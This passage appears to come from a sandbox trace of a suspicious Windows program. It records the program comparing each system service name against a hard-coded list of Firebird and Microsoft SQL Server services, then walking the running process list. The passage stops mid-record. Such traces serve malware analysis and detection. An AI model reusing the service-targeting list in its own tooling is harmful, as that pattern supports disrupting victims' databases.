(lpString="PcaSvc") returned 6 [0168.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.818] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.818] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.818] lstrlenW (lpString="PlugPlay") returned 8 [0168.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.818] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.818] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.818] lstrlenW (lpString="Power") returned 5 [0168.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.818] lstrlenW (lpString="ProfSvc") returned 7 [0168.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.819] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.819] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.819] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.819] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.819] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.819] lstrlenW (lpString="RpcSs") returned 5 [0168.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.819] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.819] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.819] lstrlenW (lpString="SamSs") returned 5 [0168.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.819] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.819] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.819] lstrlenW (lpString="Schedule") returned 8 [0168.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.819] lstrlenW (lpString="SecurityHealthService") returned 21 [0168.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.819] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0168.819] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0168.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0168.819] lstrlenW (lpString="SENS") returned 4 [0168.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.820] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.820] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.820] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.820] lstrlenW (lpString="Spooler") returned 7 [0168.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.820] lstrlenW (lpString="SSDPSRV") returned 7 [0168.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0168.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0168.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0168.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0168.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0168.820] lstrlenW (lpString="StateRepository") returned 15 [0168.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0168.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0168.820] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0168.820] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0168.820] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0168.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0168.824] Process32FirstW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.824] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.825] lstrlenW (lpString="System") returned 6 [0168.825] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.826] lstrlenW (lpString="smss.exe") returned 8 [0168.826] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.826] lstrlenW (lpString="csrss.exe") returned 9 [0168.826] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.827] lstrlenW (lpString="wininit.exe") returned 11 [0168.827] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.828] lstrlenW (lpString="csrss.exe") returned 9 [0168.828] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.828] lstrlenW (lpString="winlogon.exe") returned 12 [0168.828] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.829] lstrlenW (lpString="services.exe") returned 12 [0168.829] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.830] lstrlenW (lpString="lsass.exe") returned 9 [0168.830] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.830] lstrlenW (lpString="svchost.exe") returned 11 [0168.830] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.831] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.831] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.832] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.832] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.841] lstrlenW (lpString="svchost.exe") returned 11 [0168.841] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.842] lstrlenW (lpString="dwm.exe") returned 7 [0168.842] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.843] lstrlenW (lpString="svchost.exe") returned 11 [0168.843] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.844] lstrlenW (lpString="svchost.exe") returned 11 [0168.844] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.844] lstrlenW (lpString="svchost.exe") returned 11 [0168.844] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.845] lstrlenW (lpString="svchost.exe") returned 11 [0168.845] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.845] lstrlenW (lpString="svchost.exe") returned 11 [0168.846] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.846] lstrlenW (lpString="svchost.exe") returned 11 [0168.846] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.847] lstrlenW (lpString="svchost.exe") returned 11 [0168.847] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.847] lstrlenW (lpString="svchost.exe") returned 11 [0168.848] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.848] lstrlenW (lpString="svchost.exe") returned 11 [0168.848] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.849] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.849] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.850] lstrlenW (lpString="svchost.exe") returned 11 [0168.850] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.850] lstrlenW (lpString="svchost.exe") returned 11 [0168.850] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.851] lstrlenW (lpString="audiodg.exe") returned 11 [0168.851] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0168.852] lstrlenW (lpString="sihost.exe") returned 10 [0168.852] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.852] lstrlenW (lpString="svchost.exe") returned 11 [0168.852] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.853] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.853] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0168.854] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0168.854] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0168.854] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0168.854] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.855] lstrlenW (lpString="explorer.exe") returned 12 [0168.855] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0168.856] lstrlenW (lpString="Memory Compression") returned 18 [0168.856] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0168.856] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0168.856] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0168.857] lstrlenW (lpString="SearchUI.exe") returned 12 [0168.857] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0168.858] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0168.858] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0168.858] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0168.858] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.859] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.859] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0168.860] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0168.860] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0168.860] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0168.860] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0168.861] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0168.861] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.862] lstrlenW (lpString="conhost.exe") returned 11 [0168.862] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0168.862] lstrlenW (lpString="screensaver.exe") returned 15 [0168.862] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0168.863] lstrlenW (lpString="upperarc.exe") returned 12 [0168.863] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0168.864] lstrlenW (lpString="buying.exe") returned 10 [0168.864] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0168.865] lstrlenW (lpString="downloadable.exe") returned 16 [0168.865] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0168.865] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0168.865] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0168.866] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0168.866] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0168.867] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0168.867] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0168.867] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0168.867] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0168.868] lstrlenW (lpString="moments.exe") returned 11 [0168.868] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0168.869] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0168.869] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, 